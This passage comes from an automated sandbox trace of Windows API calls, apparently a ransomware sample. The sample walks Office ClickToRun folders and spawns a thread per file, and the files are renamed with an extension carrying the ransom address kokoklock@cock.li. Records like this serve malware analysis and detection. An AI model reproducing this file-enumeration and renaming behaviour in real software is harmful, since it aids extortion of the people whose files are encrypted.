(normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.0.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.714] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.715] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b6b0) returned 1 [0173.715] RtlExitUserThread (Status=0x0) Thread: id = 2192 os_tid = 0x1328 [0173.716] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.1.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.716] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.717] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.1.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.717] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.717] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b138) returned 1 [0173.717] RtlExitUserThread (Status=0x0) Thread: id = 2193 os_tid = 0x132c [0173.718] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.2.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.718] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.718] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.2.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.719] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.719] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b390) returned 1 [0173.719] RtlExitUserThread (Status=0x0) Thread: id = 2194 os_tid = 0x1330 [0173.722] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x30134b8 [0173.723] wcscpy (in: _Dest=0x30134b8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData" [0173.723] wcscat (in: _Dest=0x30134b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\" [0173.723] wcscat (in: _Dest=0x30134b8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\*" [0173.723] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c670 [0173.723] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\*", lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fc20 [0173.723] wcscmp (_String1=".", _String2=".") returned 0 [0173.723] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.724] wcscmp (_String1="..", _String2=".") returned 1 [0173.724] wcscmp (_String1="..", _String2="..") returned 0 [0173.724] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1 [0173.724] wcscmp (_String1="Catalog", _String2=".") returned 1 [0173.724] wcscmp (_String1="Catalog", _String2="..") returned 1 [0173.725] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x78) returned 0x2f8b910 [0173.725] wcscpy (in: _Dest=0x2f8b910, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData" [0173.725] wcscat (in: _Dest=0x2f8b910, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\" [0173.725] wcscat (in: _Dest=0x2f8b910, _Source="Catalog" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog" [0173.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f8b910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c [0173.961] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0173.961] wcscmp (_String1="Integration", _String2=".") returned 1 [0173.961] wcscmp (_String1="Integration", _String2="..") returned 1 [0173.961] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x80) returned 0x2fa0080 [0173.961] wcscpy (in: _Dest=0x2fa0080, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData" [0173.961] wcscat (in: _Dest=0x2fa0080, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\" [0173.961] wcscat (in: _Dest=0x2fa0080, _Source="Integration" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration" [0173.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa0080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4 [0173.962] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 0 [0173.962] FindClose (in: hFindFile=0x2f7fc20 | out: hFindFile=0x2f7fc20) returned 1 [0173.962] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c670) returned 1 [0173.962] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30134b8) returned 1 [0173.962] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f68448) returned 1 [0173.962] RtlExitUserThread (Status=0x0) Thread: id = 2195 os_tid = 0x1334 [0173.725] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8b610 [0173.725] wcscpy (in: _Dest=0x2f8b610, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases" [0173.725] wcscat (in: _Dest=0x2f8b610, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\" [0173.725] wcscat (in: _Dest=0x2f8b610, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\*" [0173.725] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c8d8 [0173.725] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\*", lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fc60 [0173.728] wcscmp (_String1=".", _String2=".") returned 0 [0173.728] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.728] wcscmp (_String1="..", _String2=".") returned 1 [0173.728] wcscmp (_String1="..", _String2="..") returned 0 [0173.728] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", cAlternateFileName="5A65C4~1")) returned 1 [0173.728] wcscmp (_String1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", _String2=".") returned 1 [0173.728] wcscmp (_String1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", _String2="..") returned 1 [0173.728] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x4f0aa30 [0173.728] wcscpy (in: _Dest=0x4f0aa30, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases" [0173.728] wcscat (in: _Dest=0x4f0aa30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\" [0173.728] wcscat (in: _Dest=0x4f0aa30, _Source="5A65C4D7-3CDF-4BE4-8560-F036D300C13F" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" [0173.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x4f0aa30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f0 [0173.958] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 1 [0173.958] wcscmp (_String1="A6A87302-92AE-41F2-AC52-73F5EE18259F", _String2=".") returned 1 [0173.958] wcscmp (_String1="A6A87302-92AE-41F2-AC52-73F5EE18259F", _String2="..") returned 1 [0173.958] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x4f0aaf8 [0173.958] wcscpy (in: _Dest=0x4f0aaf8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases" [0173.958] wcscat (in: _Dest=0x4f0aaf8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\" [0173.958] wcscat (in: _Dest=0x4f0aaf8, _Source="A6A87302-92AE-41F2-AC52-73F5EE18259F" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" [0173.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x4f0aaf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ec [0173.959] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 0 [0173.959] FindClose (in: hFindFile=0x2f7fc60 | out: hFindFile=0x2f7fc60) returned 1 [0173.960] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c8d8) returned 1 [0173.960] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b610) returned 1 [0173.960] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96d50) returned 1 [0173.960] RtlExitUserThread (Status=0x0) Thread: id = 2196 os_tid = 0x1338 [0173.729] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x66) returned 0x30577c0 [0173.729] wcscpy (in: _Dest=0x30577c0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData" [0173.729] wcscat (in: _Dest=0x30577c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\" [0173.729] wcscat (in: _Dest=0x30577c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\*" [0173.729] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9cb40 [0173.729] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\*", lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045528 [0173.729] wcscmp (_String1=".", _String2=".") returned 0 [0173.729] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.729] wcscmp (_String1="..", _String2=".") returned 1 [0173.729] wcscmp (_String1="..", _String2="..") returned 0 [0173.729] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0173.730] FindClose (in: hFindFile=0x3045528 | out: hFindFile=0x3045528) returned 1 [0173.730] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9cb40) returned 1 [0173.730] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30577c0) returned 1 [0173.730] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f63fb0) returned 1 [0173.730] RtlExitUserThread (Status=0x0) Thread: id = 2197 os_tid = 0x133c [0173.731] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f91df0 [0173.731] wcscpy (in: _Dest=0x2f91df0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.731] wcscat (in: _Dest=0x2f91df0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.731] wcscat (in: _Dest=0x2f91df0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*" [0173.731] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9cb40 [0173.731] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*", lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x861f8650, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x861f8650, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045768 [0173.736] wcscmp (_String1=".", _String2=".") returned 0 [0173.736] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x861f8650, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x861f8650, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.740] wcscmp (_String1="..", _String2=".") returned 1 [0173.740] wcscmp (_String1="..", _String2="..") returned 0 [0173.740] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437adb83, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x437adb83, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x8586f106, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x44f23, dwReserved0=0x0, dwReserved1=0x0, cFileName="AirSpace.Etw.man.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="AIRSPA~1.D0E")) returned 1 [0173.740] wcscmp (_String1="AirSpace.Etw.man.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.740] wcscmp (_String1="AirSpace.Etw.man.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.740] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x102) returned 0x305cf80 [0173.740] wcscpy (in: _Dest=0x305cf80, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.740] wcscat (in: _Dest=0x305cf80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.740] wcscat (in: _Dest=0x305cf80, _Source="AirSpace.Etw.man.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.mailto[kokoklock@cock.li].d0e731" [0173.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305cf80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458 [0173.922] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x857fc8a2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x92b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C2RMAN~1.D0E")) returned 1 [0173.922] wcscmp (_String1="C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.922] wcscmp (_String1="C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.922] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x3024080 [0173.922] wcscpy (in: _Dest=0x3024080, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.922] wcscat (in: _Dest=0x3024080, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.922] wcscat (in: _Dest=0x3024080, _Source="C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All 